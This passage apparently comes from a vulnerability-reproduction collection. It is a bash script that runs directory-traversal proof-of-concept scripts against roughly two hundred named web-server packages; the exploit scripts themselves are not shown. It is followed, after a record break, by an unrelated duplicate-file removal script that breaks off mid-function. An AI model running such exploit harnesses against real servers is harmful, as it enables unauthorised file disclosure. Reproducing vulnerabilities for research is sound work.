yxxserver\"\n./directory-traversal/yxxserver/PoC.sh\n\necho -e \"\\nDirectory traversal: yypsulie11\"\n./directory-traversal/yypsulie11/PoC.sh\n\necho -e \"\\nDirectory traversal: rapid-httpserver\"\n./directory-traversal/rapid-httpserver/PoC.sh\n\necho -e \"\\nDirectory traversal: myserve111\"\n./directory-traversal/myserve111/PoC.sh\n\necho -e \"\\nDirectory traversal: serveryyl\"\n./directory-traversal/serveryyl/PoC.sh\n\necho -e \"\\nDirectory traversal: zxyserver\"\n./directory-traversal/zxyserver/PoC.sh\n\necho -e \"\\nDirectory traversal: proxey\"\n./directory-traversal/proxey/PoC.sh\n\necho -e \"\\nDirectory traversal: web-node-server\"\n./directory-traversal/web-node-server/PoC.sh\n\necho -e \"\\nDirectory traversal: wrlc\"\n./directory-traversal/wrlc/PoC.sh\n\necho -e \"\\nDirectory traversal: cs360getcity\"\n./directory-traversal/cs360getcity/PoC.sh\n\necho -e \"\\nDirectory traversal: wuzhuangserver\"\n./directory-traversal/wuzhuangserver/PoC.sh\n\necho -e \"\\nDirectory traversal: weathertest.bryceperkins\"\n./directory-traversal/weathertest.bryceperkins/PoC.sh\n\necho -e \"\\nDirectory traversal: websvr\"\n./directory-traversal/websvr/PoC.sh\n\necho -e \"\\nDirectory traversal: webkit-devtools-agent-frontend\"\n./directory-traversal/webkit-devtools-agent-frontend/PoC.sh\n\necho -e \"\\nDirectory traversal: willvdb_test_server\"\n./directory-traversal/willvdb_test_server/PoC.sh\n\necho -e \"\\nDirectory traversal: caolilinode1\"\n./directory-traversal/caolilinode1/PoC.sh\n\necho -e \"\\nDirectory traversal: binocular-lamp\"\n./directory-traversal/binocular-lamp/PoC.sh\n\necho -e \"\\nDirectory traversal: simple-mock-server\"\n./directory-traversal/simple-mock-server/PoC.sh\n\necho -e \"\\nDirectory traversal: easy-router\"\n./directory-traversal/easy-router/PoC.sh\n\necho -e \"\\nDirectory traversal: mime_web_server\"\n./directory-traversal/mime_web_server/PoC.sh\n\necho -e \"\\nDirectory traversal: xingbaohai\"\n./directory-traversal/xingbaohai/PoC.sh\n\necho -e \"\\nDirectory traversal: express-blinker\"\n./directory-traversal/express-blinker/PoC.sh\n\necho -e \"\\nDirectory traversal: caihong\"\n./directory-traversal/caihong/PoC.sh\n\necho -e \"\\nDirectory traversal: micra\"\n./directory-traversal/micra/PoC.sh\n\necho -e \"\\nDirectory traversal: ptest\"\n./directory-traversal/ptest/PoC.sh\n\necho -e \"\\nDirectory traversal: asset-cache\"\n./directory-traversal/asset-cache/PoC.sh\n\necho -e \"\\nDirectory traversal: wuzhuang\"\n./directory-traversal/wuzhuang/PoC.sh\n\necho -e \"\\nDirectory traversal: cuiaiguang\"\n./directory-traversal/cuiaiguang/PoC.sh\n\necho -e \"\\nDirectory traversal: servedir\"\n./directory-traversal/servedir/PoC.sh\n\necho -e \"\\nDirectory traversal: secure-servedir\"\n./directory-traversal/secure-servedir/PoC.sh\n\necho -e \"\\nDirectory traversal: zhangranbigman\"\n./directory-traversal/zhangranbigman/PoC.sh\n\necho -e \"\\nDirectory traversal: my-sn\"\n./directory-traversal/my-sn/PoC.sh\n\necho -e \"\\nDirectory traversal: wenluhong11\"\n./directory-traversal/wenluhong11/PoC.sh\n\necho -e \"\\nDirectory traversal: nitro-server\"\n./directory-traversal/nitro-server/PoC.sh\n\necho -e \"\\nDirectory traversal: grunt-fileserver\"\n./directory-traversal/grunt-fileserver/PoC.sh\n\necho -e \"\\nDirectory traversal: grunt-serve\"\n./directory-traversal/grunt-serve/PoC.sh\n\necho -e \"\\nDirectory traversal: node-cxc\"\n./directory-traversal/node-cxc/PoC.sh\n\necho -e \"\\nDirectory traversal: ussasasa\"\n./directory-traversal/ussasasa/PoC.sh\n\necho -e \"\\nDirectory traversal: lab6-wclaibor\"\n./directory-traversal/lab6-wclaibor/PoC.sh\n\necho -e \"\\nDirectory traversal: servershuai\"\n./directory-traversal/servershuai/PoC.sh\n\necho -e \"\\nDirectory traversal: fakelearnnodejs\"\n./directory-traversal/fakelearnnodejs/PoC.sh\n\necho -e \"\\nDirectory traversal: server12311\"\n./directory-traversal/server12311/PoC.sh\n\necho -e \"\\nDirectory traversal: node-static-webserver\"\n./directory-traversal/node-static-webserver/PoC.sh\n\necho -e \"\\nDirectory traversal: node-http-server\"\n./directory-traversal/node-http-server/PoC.sh\n\necho -e \"\\nDirectory traversal: zhanglina\"\n./directory-traversal/zhanglina/PoC.sh\n\necho -e \"\\nDirectory traversal: censorify.matt.shurtz\"\n./directory-traversal/censorify.matt.shurtz/PoC.sh\n\necho -e \"\\nDirectory traversal: litedoc\"\n./directory-traversal/litedoc/PoC.sh\n\necho -e \"\\nDirectory traversal: lander\"\n./directory-traversal/lander/PoC.sh\n\necho -e \"\\nDirectory traversal: less-livereload\"\n./directory-traversal/less-livereload/PoC.sh\n\necho -e \"\\nDirectory traversal: lab6.1\"\n./directory-traversal/lab6.1/PoC.sh\n\necho -e \"\\nDirectory traversal: serverxh\"\n./directory-traversal/serverxh/PoC.sh\n\necho -e \"\\nDirectory traversal: markdown-server\"\n./directory-traversal/markdown-server/PoC.sh\n\necho -e \"\\nDirectory traversal: httpea\"\n./directory-traversal/httpea/PoC.sh\n\necho -e \"\\nDirectory traversal: isv-http\"\n./directory-traversal/isv-http/PoC.sh\n\necho -e \"\\nDirectory traversal: dilu\"\n./directory-traversal/dilu/PoC.sh\n\necho -e \"\\nDirectory traversal: easy-node-server\"\n./directory-traversal/easy-node-server/PoC.sh\n\necho -e \"\\nDirectory traversal: fast-http\"\n./directory-traversal/fast-http/PoC.sh\n\necho -e \"\\nDirectory traversal: gamebutler\"\n./directory-traversal/gamebutler/PoC.sh\n\necho -e \"\\nDirectory traversal: getstats\"\n./directory-traversal/getstats/PoC.sh\n\necho -e \"\\nDirectory traversal: gfm-srv\"\n./directory-traversal/gfm-srv/PoC.sh\n\necho -e \"\\nDirectory traversal: btnode\"\n./directory-traversal/btnode/PoC.sh\n\necho -e \"\\nDirectory traversal: ex-http-frame\"\n./directory-traversal/ex-http-frame/PoC.sh\n\necho -e \"\\nDirectory traversal: der-server\"\n./directory-traversal/der-server/PoC.sh\n\necho -e \"\\nDirectory traversal: glurp\"\n./directory-traversal/glurp/PoC.sh\n\necho -e \"\\nDirectory traversal: canvas-designer\"\n./directory-traversal/canvas-designer/PoC.sh\n\necho -e \"\\nDirectory traversal: butler-server\"\n./directory-traversal/butler-server/PoC.sh\n\necho -e \"\\nDirectory traversal: bruteser\"\n./directory-traversal/bruteser/PoC.sh\n\necho -e \"\\nDirectory traversal: server-static\"\n./directory-traversal/server-static/PoC.sh\n\necho -e \"\\nDirectory traversal: node-staticserver\"\n./directory-traversal/node-staticserver/PoC.sh\n\necho -e \"\\nDirectory traversal: crud-file-server\"\n./directory-traversal/crud-file-server/PoC.sh\n\necho -e \"\\nDirectory traversal: bae-nodejs\"\n./directory-traversal/bae-nodejs/PoC.sh\n\necho -e \"\\nDirectory traversal: pico-static-server\"\n./directory-traversal/pico-static-server/PoC.sh\n\necho -e \"\\nDirectory traversal: stattic\"\n./directory-traversal/stattic/PoC.sh\n\necho -e \"\\nDirectory traversal: aso-server\"\n./directory-traversal/aso-server/PoC.sh\n\necho -e \"\\nDirectory traversal: atropa-ide\"\n./directory-traversal/atropa-ide/PoC.sh\n\necho -e \"\\nDirectory traversal: atropa-server\"\n./directory-traversal/atropa-server/PoC.sh\n\necho -e \"\\nDirectory traversal: awning\"\n./directory-traversal/awning/PoC.sh\n\necho -e \"\\nDirectory traversal: sabu\"\n./directory-traversal/sabu/PoC.sh\n\necho -e \"\\nDirectory traversal: hserver-static\"\n./directory-traversal/hserver-static/PoC.sh\n\necho -e \"\\nDirectory traversal: basic-static\"\n./directory-traversal/basic-static/PoC.sh\n\necho -e \"\\nDirectory traversal: api-proxy\"\n./directory-traversal/api-proxy/PoC.sh\n\necho -e \"\\nDirectory traversal: html-pages\"\n./directory-traversal/html-pages/PoC.sh\n\necho -e \"\\nDirectory traversal: static-cling\"\n./directory-traversal/static-cling/PoC.sh\n\necho -e \"\\nDirectory traversal: m-server\"\n./directory-traversal/m-server/PoC.sh\n\necho -e \"\\nDirectory traversal: nodeserver-jta\"\n./directory-traversal/nodeserver-jta/PoC.sh\n\necho -e \"\\nDirectory traversal: severzlt\"\n./directory-traversal/severzlt/PoC.sh\n\necho -e \"\\nDirectory traversal: ljjnodeserve\"\n./directory-traversal/ljjnodeserve/PoC.sh\n\necho -e \"\\nDirectory traversal: wangshuai\"\n./directory-traversal/wangshuai/PoC.sh\n\necho -e \"\\nDirectory traversal: tinyserver\"\n./directory-traversal/tinyserver/PoC.sh\n\necho -e \"\\nDirectory traversal: nopach\"\n./directory-traversal/nopach/PoC.sh\n\necho -e \"\\nDirectory traversal: nodejs.jseidl\"\n./directory-traversal/nodejs.jseidl/PoC.sh\n\necho -e \"\\nDirectory traversal: xbhxbh\"\n./directory-traversal/xbhxbh/PoC.sh\n\necho -e \"\\nDirectory traversal: ghod5servercs360\"\n./directory-traversal/ghod5servercs360/PoC.sh\n\necho -e \"\\nDirectory traversal: hechatroom\"\n./directory-traversal/hechatroom/PoC.sh\n\necho -e \"\\nDirectory traversal: lihuini\"\n./directory-traversal/lihuini/PoC.sh\n\necho -e \"\\nDirectory traversal: xxf11\"\n./directory-traversal/xxf11/PoC.sh\n\necho -e \"\\nDirectory traversal: cxy\"\n./directory-traversal/cxy/PoC.sh\n\necho -e \"\\nDirectory traversal: srverqq\"\n./directory-traversal/srverqq/PoC.sh\n\necho -e \"\\nDirectory traversal: servergmf\"\n./directory-traversal/servergmf/PoC.sh\n\necho -e \"\\nDirectory traversal: lzl123\"\n./directory-traversal/lzl123/PoC.sh\n\necho -e \"\\nDirectory traversal: section2.madisonjbrooks12\"\n./directory-traversal/section2.madisonjbrooks12/PoC.sh\n\necho -e \"\\nDirectory traversal: susu-sum\"\n./directory-traversal/susu-sum/PoC.sh\n\necho -e \"\\nDirectory traversal: welcomyzt\"\n./directory-traversal/welcomyzt/PoC.sh\n\necho -e \"\\nDirectory traversal: yjmyjmyjm\"\n./directory-traversal/yjmyjmyjm/PoC.sh\n\necho -e \"\\nDirectory traversal: caolilinode\"\n./directory-traversal/caolilinode/PoC.sh\n\necho -e \"\\nDirectory traversal: commentapp.stetsonwood\"\n./directory-traversal/commentapp.stetsonwood/PoC.sh\n\necho -e \"\\nDirectory traversal: cypserver\"\n./directory-traversal/cypserver/PoC.sh\n\necho -e \"\\nDirectory traversal: dcdcdcdcdc\"\n./directory-traversal/dcdcdcdcdc/PoC.sh\n\necho -e \"\\nDirectory traversal: 360class.jansenhm\"\n./directory-traversal/360class.jansenhm/PoC.sh\n\necho -e \"\\nDirectory traversal: goserv\"\n./directory-traversal/goserv/PoC.sh\n\necho -e \"\\nDirectory traversal: http_static_simple\"\n./directory-traversal/http_static_simple/PoC.sh\n\necho -e \"\\nDirectory traversal: lab6drewfusbyu\"\n./directory-traversal/lab6drewfusbyu/PoC.sh\n\necho -e \"\\nDirectory traversal: serve46\"\n./directory-traversal/serve46/PoC.sh\n\necho -e \"\\nDirectory traversal: serverxxx\"\n./directory-traversal/serverxxx/PoC.sh\n\necho -e \"\\nDirectory traversal: shenliru\"\n./directory-traversal/shenliru/PoC.sh\n\necho -e \"\\nDirectory traversal: simple-npm-registry\"\n./directory-traversal/simple-npm-registry/PoC.sh\n\necho -e \"\\nDirectory traversal: chatbyvista\"\n./directory-traversal/chatbyvista/PoC.sh\n\necho -e \"\\nDirectory traversal: byucslabsix\"\n./directory-traversal/byucslabsix/PoC.sh\n\necho -e \"\\nDirectory traversal: dmmcquay.lab6\"\n./directory-traversal/dmmcquay.lab6/PoC.sh\n\necho -e \"\\nDirectory traversal: elding\"\n./directory-traversal/elding/PoC.sh\n\necho -e \"\\nDirectory traversal: wffserve\"\n./directory-traversal/wffserve/PoC.sh\n\necho -e \"\\nDirectory traversal: node-simple-router\"\n./directory-traversal/node-simple-router/PoC.sh\n\necho -e \"\\nDirectory traversal: liuyaserver\"\n./directory-traversal/liuyaserver/PoC.sh\n\necho -e \"\\nDirectory traversal: city-weather-abe\"\n./directory-traversal/city-weather-abe/PoC.sh\n\necho -e \"\\nDirectory traversal: yttivy\"\n./directory-traversal/yttivy/PoC.sh\n\necho -e \"\\nDirectory traversal: wintiwebdev\"\n./directory-traversal/wintiwebdev/PoC.sh\n\necho -e \"\\nDirectory traversal: node-server-forfront\"\n./directory-traversal/node-server-forfront/PoC.sh\n\necho -e \"\\nDirectory traversal: dylmomo\"\n./directory-traversal/dylmomo/PoC.sh\n\necho -e \"\\nDirectory traversal: sly07\"\n./directory-traversal/sly07/PoC.sh\n\necho -e \"\\nDirectory traversal: sgqserve\"\n./directory-traversal/sgqserve/PoC.sh\n\necho -e \"\\nDirectory traversal: serverliujiayi1\"\n./directory-traversal/serverliujiayi1/PoC.sh\n\necho -e \"\\nDirectory traversal: jansenstuffpleasework\"\n./directory-traversal/jansenstuffpleasework/PoC.sh\n\necho -e \"\\nDirectory traversal: infraserver\"\n./directory-traversal/infraserver/PoC.sh\n\necho -e \"\\nDirectory traversal: getcityapi.yoehoehne\"\n./directory-traversal/getcityapi.yoehoehne/PoC.sh\n\necho -e \"\\nDirectory traversal: wangguojing123\"\n./directory-traversal/wangguojing123/PoC.sh\n\necho -e \"\\nDirectory traversal: peiserver\"\n./directory-traversal/peiserver/PoC.sh\n\necho -e \"\\nDirectory traversal: myserver.alexcthomas18\"\n./directory-traversal/myserver.alexcthomas18/PoC.sh\n\necho -e \"\\nDirectory traversal: looppake\"\n./directory-traversal/looppake/PoC.sh\n\necho -e \"\\nDirectory traversal: lab6.brit95\"\n./directory-traversal/lab6.brit95/PoC.sh\n\necho -e \"\\nDirectory traversal: jikes\"\n./directory-traversal/jikes/PoC.sh\n\necho -e \"\\nDirectory traversal: serverabc\"\n./directory-traversal/serverabc/PoC.sh\n\necho -e \"\\nDirectory traversal: serverlyr\"\n./directory-traversal/serverlyr/PoC.sh\n\necho -e \"\\nDirectory traversal: serverhuwenhui\"\n./directory-traversal/serverhuwenhui/PoC.sh\n\necho -e \"\\nDirectory traversal: serveryztyzt\"\n./directory-traversal/serveryztyzt/PoC.sh\n\necho -e \"\\nDirectory traversal: calmquist.static-server\"\n./directory-traversal/calmquist.static-server/PoC.sh\n\necho -e \"\\nDirectory traversal: enserver\"\n./directory-traversal/enserver/PoC.sh\n\necho -e \"\\nDirectory traversal: citypredict.whauwiller\"\n./directory-traversal/citypredict.whauwiller/PoC.sh\n\necho -e \"\\nDirectory traversal: dgard8.lab6\"\n./directory-traversal/dgard8.lab6/PoC.sh\n\necho -e \"\\nDirectory traversal: dcserver\"\n./directory-traversal/dcserver/PoC.sh\n\necho -e \"\\nDirectory traversal: yyooopack\"\n./directory-traversal/yyooopack/PoC.sh\n\necho -e \"\\nDirectory traversal: zwserver\"\n./directory-traversal/zwserver/PoC.sh\n\necho -e \"\\nDirectory traversal: intsol-package\"\n./directory-traversal/intsol-package/PoC.sh\n\necho -e \"\\nDirectory traversal: iter-server\"\n./directory-traversal/iter-server/PoC.sh\n\necho -e \"\\nDirectory traversal: whispercast\"\n./directory-traversal/whispercast/PoC.sh\n\necho -e \"\\nDirectory traversal: shit-server\"\n./directory-traversal/shit-server/PoC.sh\n\necho -e \"\\nDirectory traversal: serverwzl\"\n./directory-traversal/serverwzl/PoC.sh\n\necho -e \"\\nDirectory traversal: serverwg\"\n./directory-traversal/serverwg/PoC.sh\n\necho -e \"\\nDirectory traversal: cuciuci\"\n./directory-traversal/cuciuci/PoC.sh\n\necho -e \"\\nDirectory traversal: 22lixian\"\n./directory-traversal/22lixian/PoC.sh\n\necho -e \"\\nDirectory traversal: liyujing\"\n./directory-traversal/liyujing/PoC.sh\n\necho -e \"\\nDirectory traversal: gaoxiaotingtingting\"\n./directory-traversal/gaoxiaotingtingting/PoC.sh\n\necho -e \"\\nDirectory traversal: unicorn-list\"\n./directory-traversal/unicorn-list/PoC.sh\n\necho -e \"\\nDirectory traversal: utahcityfinder\"\n./directory-traversal/utahcityfinder/PoC.sh\n\n# needs a sql database to make it work\n# echo -e \"\\nDirectory traversal: qinserve\"\n# ./directory-traversal/qinserve/PoC.sh\n\necho -e \"\\nDirectory traversal: picard\"\n./directory-traversal/picard/PoC.sh\n\necho -e \"\\nDirectory traversal: sspa\"\n./directory-traversal/sspa/PoC.sh\n\necho -e \"\\nDirectory traversal: ewgaddis.lab6\"\n./directory-traversal/ewgaddis.lab6/PoC.sh\n\necho -e \"\\nDirectory traversal: exxxxxxxxxxx\"\n./directory-traversal/exxxxxxxxxxx/PoC.sh\n\necho -e \"\\nDirectory traversal: fbr-client\"\n./directory-traversal/fbr-client/PoC.sh\n\necho -e \"\\nDirectory traversal: censorify.tanisjr\"\n./directory-traversal/censorify.tanisjr/PoC.sh\n\necho -e \"\\nDirectory traversal: dasafio\"\n./directory-traversal/dasafio/PoC.sh\n\necho -e \"\\nDirectory traversal: wenluhong1\"\n./directory-traversal/wenluhong1/PoC.sh\n\necho -e \"\\nDirectory traversal: zjjserver\"\n./directory-traversal/zjjserver/PoC.sh\n\necho -e \"\\nDirectory traversal: uv-tj-demo\"\n./directory-traversal/uv-tj-demo/PoC.sh\n\necho -e \"\\nDirectory traversal: yzt\"\n./directory-traversal/yzt/PoC.sh\n\necho -e \"\\nDirectory traversal: uekw1511server\"\n./directory-traversal/uekw1511server/PoC.sh\n\necho -e \"\\nDirectory traversal: 11xiaoli\"\n./directory-traversal/11xiaoli/PoC.sh\n\necho -e \"\\nDirectory traversal: pytservce\"\n./directory-traversal/pytservce/PoC.sh\n\necho -e \"\\nDirectory traversal: ritp\"\n./directory-traversal/ritp/PoC.sh\n\necho -e \"\\nDirectory traversal: run-this-place\"\n./directory-traversal/run-this-place/PoC.sh\n\necho -e \"\\nDirectory traversal: gaoxuyan\"\n./directory-traversal/gaoxuyan/PoC.sh\n\necho -e \"\\nDirectory traversal: mfrserver\"\n./directory-traversal/mfrserver/PoC.sh\n\necho -e \"\\nDirectory traversal: scott-blanch-weather-app\"\n./directory-traversal/scott-blanch-weather-app/PoC.sh\n\necho -e \"\\nDirectory traversal: myprolyz\"\n./directory-traversal/myprolyz/PoC.sh\n\necho -e \"\\nDirectory traversal: serveryaozeyan\"\n./directory-traversal/serveryaozeyan/PoC.sh\n\n# needs to be replicated on Windows\n# echo -e \"\\nDirectory traversal: xiongrui-httpserver\"\n# ./directory-traversal/xiongrui-httpserver/PoC.sh\n\necho -e \"\\nDirectory traversal: tinyserver2\"\n./directory-traversal/tinyserver2/PoC.sh\n\necho -e \"\\nDirectory traversal: ltt.js\"\n./directory-traversal/ltt.js/PoC.sh\n\necho -e \"\\nDirectory traversal: ltt\"\n./directory-traversal/ltt/PoC.sh\n\necho -e \"\\nDirectory traversal: tencent-server\"\n./directory-traversal/tencent-server/PoC.sh\n\necho -e \"\\nDirectory traversal: wind-mvc\"\n./directory-traversal/wind-mvc/PoC.sh\n\necho -e \"\\nDirectory traversal: serverzyy\"\n./directory-traversal/serverzyy/PoC.sh\n\necho -e \"\\nDirectory traversal: open-device\"\n./directory-traversal/open-device/PoC.sh\n\necho -e \"\\nDirectory traversal: nodeaaaaa\"\n./directory-traversal/nodeaaaaa/PoC.sh\n\necho -e \"\\nDirectory traversal: desafio\"\n./directory-traversal/desafio/PoC.sh\n\necho -e \"\\nDirectory traversal: hcbserver\"\n./directory-traversal/hcbserver/PoC.sh\n\necho -e \"\\nDirectory traversal: gomeplus-h5-proxy\"\n./directory-traversal/gomeplus-h5-proxy/PoC.sh\n\necho -e \"\\nDirectory traversal: mfrs\"\n./directory-traversal/mfrs/PoC.sh\n\necho -e \"\\nDirectory traversal: thrushs\"\n./directory-traversal/thrushs/PoC.sh\n\necho -e \"\\nDirectory traversal: weather.swlyons\"\n./directory-traversal/weather.swlyons/PoC.sh\n\necho -e \"\\nDirectory traversal: reecerver\"\n./directory-traversal/reecerver/PoC.sh\n\necho -e \"\\nDirectory traversal: quickserver\"\n./directory-traversal/quickserver/PoC.sh\n\necho -e \"\\nDirectory traversal: rtcmulticonnection-client\"\n./directory-traversal/rtcmulticonnection-client/PoC.sh\n\necho -e \"\\nDirectory traversal: lessindex\"\n./directory-traversal/lessindex/PoC.sh\n\necho -e \"\\nDirectory traversal: mockserve\"\n./directory-traversal/mockserve/PoC.sh\n\necho -e \"\\nDirectory traversal: hftp\"\n./directory-traversal/hftp/PoC.sh\n\necho -e \"\\nDirectory traversal: jn_jj_server\"\n./directory-traversal/jn_jj_server/PoC.sh\n\necho -e \"\\nDirectory traversal: pooledwebsocket\"\n./directory-traversal/pooledwebsocket/PoC.sh\n\necho -e \"\\nDirectory traversal: tmock\"\n./directory-traversal/tmock/PoC.sh\n\necho -e \"\\nDirectory traversal: fast-http-cli\"\n./directory-traversal/fast-http-cli/PoC.sh\n\necho -e \"\\nDirectory traversal: fsk-server\"\n./directory-traversal/fsk-server/PoC.sh\n\necho -e \"\\nDirectory traversal: badjs-sourcemap-server\"\n./directory-traversal/badjs-sourcemap-server/PoC.sh\n\necho -e \"\\nDirectory traversal: earlybird\"\n./directory-traversal/earlybird/PoC.sh\n\necho -e \"\\nDirectory traversal: guaycuru\"\n./directory-traversal/guaycuru/PoC.sh\n\necho -e \"\\nDirectory traversal: tiny-http\"\n./directory-traversal/tiny-http/PoC.sh\n\necho -e \"\\nDirectory traversal: iter-http\"\n./directory-traversal/iter-http/PoC.sh\n\necho -e \"\\nDirectory traversal: datachannel-client\"\n./directory-traversal/datachannel-client/PoC.sh\n\necho -e \"\\nDirectory traversal: static-html-server\"\n./directory-traversal/static-html-server/PoC.sh\n\necho -e \"\\nDirectory traversal: cyber-js\"\n./directory-traversal/cyber-js/PoC.sh\n\necho -e \"\\nDirectory traversal: xtalk\"\n./directory-traversal/xtalk/PoC.sh\n\necho -e \"\\nDirectory traversal: easyquick\"\n./directory-traversal/easyquick/PoC.sh\n\necho -e \"\\nDirectory traversal: sencisho\"\n./directory-traversal/sencisho/PoC.sh\n\necho -e \"\\nDirectory traversal: nodeload-nmickuli\"\n./directory-traversal/nodeload-nmickuli/PoC.sh\n\necho -e \"\\nDirectory traversal: list-n-stream\"\n./directory-traversal/list-n-stream/PoC.sh"} {"text": "olibre/rename_delete_image_files\n#!/bin/bash\n\n# Copyright 2013 \n#\n# Fair license - http://en.wikipedia.org/wiki/Fair_License\n# Usage of the works is permitted provided that\n# this instrument is retained with the works,\n# so that any entity that uses the works\n# is notified of this instrument.\n# DISCLAIMER: THE WORKS ARE WITHOUT WARRANTY.\n#\n# License Équitable - http://french.stackexchange.com/questions/7034\n# Toute utilisation des œuvres est permise à condition\n# que cette mention légale soit conservée avec les œuvres,\n# afin que tout autre utilisateur des œuvres\n# soit informé de cette mention légale.\n# AVERTISSEMENT : LES ŒUVRES N'ONT PAS DE GARANTIE.\n\n#set -e #debug (exit as soon an error occurs)\n\nusage()\n{\n echo >&2 \"\nInvalid option: -$1\n\nUsage: ${0##*/} [-b BASE_DIR] [-j JUNK_DIR] [PATHS...]\n\nBASE_DIR is the temporary directory where all the working files are created.\nAt the end, the command '${0##*/}' removes all temporary files\nand also removes the BASE_DIR main directory except if it contains JUNK_DIR.\n\nJUNK_DIR is the directory where to 'junk' (throw) the duplicated files\nTo be safer the command '${0##*/}' does not deleted this JUNK_DIR.\nFinally, the user deletes itself the JUNK_DIR.\n\nPATHS are one or more directories where to search for duplicated files.\nBy default, search in the current working directory.\n\"\n exit 1\n}\n\n\n\nunset base\nunset junk\n\n# command line options\nwhile getopts \"b:j:\" opt; do\n case $opt in\n b) base=$OPTARG; mkdir -p \"$base\";;\n j) junk=$OPTARG;;\n \\?) usage;;\n :) usage;;\n esac\ndone\n\nshift $(($OPTIND - 1))\n# Remaining arguments are \"$@\"\n\n\n[[ -z $base ]] && base=$(mktemp -d)\n[[ -z $junk ]] && junk=\"${base}\"/junk\n fifo=\"${base}\"/fifo\n fif2=\"${base}\"/fif2\n dups=\"${base}\"/dups\n dirs=\"${base}\"/dirs\n menu=\"${base}\"/menu\n numb=\"${base}\"/numb\n list=\"${base}\"/list\n\nrm -f \"$fifo\" \"$fif2\"\nmkfifo \"$fifo\" \"$fif2\"\n\n# real path\nshopt -sq expand_aliases\nif type realpath &>/dev/null\nthen\n alias rp='realpath'\nelif type readlink &>/dev/null\nthen\n alias rp='readlink -fn'\nelif type perl &>/dev/null\nthen\n alias rp='perl -e '\\''use Cwd \"abs_path\"; print abs_path(\"$ARGV[1]\");'\\'\nelse\n alias rp='echo'\nfi\n\n#find in the PATHS given as parameter ($@) or in current directory (.) by default\nfind_except_junk()\n{\n [[ -d $junk ]] && j=$( rp \"$junk\" )\n for dir in \"$@\"\n do\n if [[ -e $dir ]]\n then\n# echo \"$dir\"\n d=$( rp \"$dir\" )\n if [[ -d $junk ]]\n then #ignore file in $junk (JUNK_DIR)\n find -L -O3 \"$d\" -path \"$j\" -prune -o -xtype f -readable -printf '%11s %p\\0'\n else\n find -L -O3 \"$d\" -xtype f -readable -printf '%11s %p\\0' #print size and filename\n fi\n fi\n done\n}\n\nif [[ $# < 2 ]]\nthen\n ROOTDIR=$( rp \"${1:-.}\" )\nelse\n ROOTDIR=\"\"\nfi\n\nfind_except_junk \"${@:-.}\" |\ntee \"$fifo\" | #fifo for dialog progressbox\ngrep -vzZ '^ 0 ' | #ignore empty files\nLC_ALL=C sort -z | #sort by size\nuniq -Dzw11 | #keep files having same size\nwhile IFS= read -r -d '' line\ndo #for each file compute md5sum\n set -e #exit as soon an error occurs\n FIRSTLOOP=1\n size=${line:0:11} #extract size\n file=$( rp \"${line:12}\" ) #extract path and filename\n if [[ -n $ROOTDIR ]]\n then\n file=${file#$ROOTDIR/} #shorter path if subdir of ROOTDIR\n if (( $FIRSTLOOP ))\n then\n FIRSTLOOP=0\n cd \"$ROOTDIR\"\n fi\n fi\n out=$size'\\t'$(md5sum \"$file\") #out = size, MD5-sum and filename\n [[ $file != */* ]] && #if missing directory\n out=${out:0:47}'./'${out:47} # => add 'current dir'\n echo -ne \"$out\\0\" #null terminated instead of '\\n'\ndone |\ntee \"$fif2\" | #fifo for dialog progressbox\nLC_ALL=C sort -z | uniq -z | #remove symbolic links (same name)\nuniq -zw46 --all-repeated=separate | #keep the duplicates (same md5sum)\nawk '{ print substr($0,0,12) substr($0,47) }' RS='\\0' ORS='\\0' >| \"$dups\" & #remove MD5 sum\n# run processing in background\n#TODO: really check if file content are same (ex: using command cmp)\n\npid=$! #keep track of pid to wait for it\n\ntr '\\0' '\\n' <\"$fifo\" |\ndialog --title \"Collecting files having same size...\" --no-shadow --no-lines --progressbox 999 999\n\ntr '\\0' '\\n' <\"$fif2\" |\ndialog --title \"Computing MD5 sum for files having same size...\" --no-shadow --no-lines --progressbox 999 999\n\nwait $pid\n#TODO check disk full\n\n\n\n\n#TODO: Propose 'hard link' instead of 'remove'\n\nchoosedir()\n{\n gawk '\n function four(s) {\n if(s< 10) return \" \" int(s)\n if(s< 100) return \" \" int(s)\n if(s<1000) return \" \" int(s)\n return int(s) }\n function f(n) {\n if(n==1) return \" 1 file \"\n else return four(n) \" files \" }\n function tgmkb4 (s) {\n if(s<10000) return four(s) \" \"; s/=1024\n if(s<10000) return four(s) \"K\"; s/=1024\n if(s<10000) return four(s) \"M\"; s/=1024\n if(s<10000) return four(s) \"G\"; s/=1024\n if(s<10000) return four(s) \"T\"; s/=1024\n if(s<10000) return four(s) \"P\"; s/=1024\n if(s<10000) return four(s) \"E\"; s/=1024\n if(s<10000) return four(s) \"Z\"; s/=1024\n return four(s) \"Y\"; }\n function tgmkb (s) {\n if(s<10000) return s \" bytes\"; s/=1024\n if(s<10000) return int(s) \" KB\"; s/=1024\n if(s<10000) return int(s) \" MB\"; s/=1024\n if(s<10000) return int(s) \" GB\"; s/=1024\n if(s<10000) return int(s) \" TB\"; s/=1024\n if(s<10000) return int(s) \" PB\"; s/=1024\n if(s<10000) return int(s) \" EB\"; s/=1024\n if(s<10000) return int(s) \" ZB\"; s/=1024\n return int(s) \" YB\"; }\n function dirname (path)\n { if(sub(/\\/[^\\/]*$/, \"\", path)) return path; else return \".\"; }\n BEGIN { RS=\"\\0\" }\n /^$/ { uniques++ }\n !/^$/ { sz=substr($0,0,11); name=substr($0,13); dir=dirname(name);\n sizes[dir]+=sz; totsizes+=sz; files[dir]++; totfiles++;\n if (u!=uniques) { u=uniques; totuniq+=sz } }\n END { print \"--no-shadow --no-lines\" > \"'\"$menu\"'\"\n print \"--hline \\\"After selection of the directory, you will choose the redundant files you want to remove\\\"\" >> \"'\"$menu\"'\"\n print \"--menu \\\"There are \" totfiles \" duplicated files (\" tgmkb(totsizes) \") within \" length(sizes) \" directories.\" >> \"'\"$menu\"'\"\n print \"These duplicated files represent \" uniques \" unique files (\" tgmkb(totuniq) \").\" >> \"'\"$menu\"'\"\n print \"This tool can remove the \" totfiles - uniques \" redundant files representing \" tgmkb(totsizes - totuniq) \".\" >> \"'\"$menu\"'\"\n print \"Choose directory to proceed redundant file removal:\\\" 999 999 999\" >> \"'\"$menu\"'\"\n ORS=\"\\0\"\n for(dir in sizes) print tgmkb4(sizes[dir]) \" \" f(files[dir]) dir }' \"$dups\" |\n LC_ALL=C sort -zrshk1 |\n tee \"$dirs\" |\n tr '\\n\"' \"_'\" |\n gawk 'BEGIN { RS=\"\\0\"; } { print FNR \" \\\"\" $0 \"\\\" \" }' >> \"$menu\"\n\n dialog --file $menu 2> \"$numb\"\n\n return $?\n}\n\n\n\nselectfiles()\n{\n sel=$( awk -v RS='\\0' \"NR == $(<$numb)\" \"$dirs\" )\n 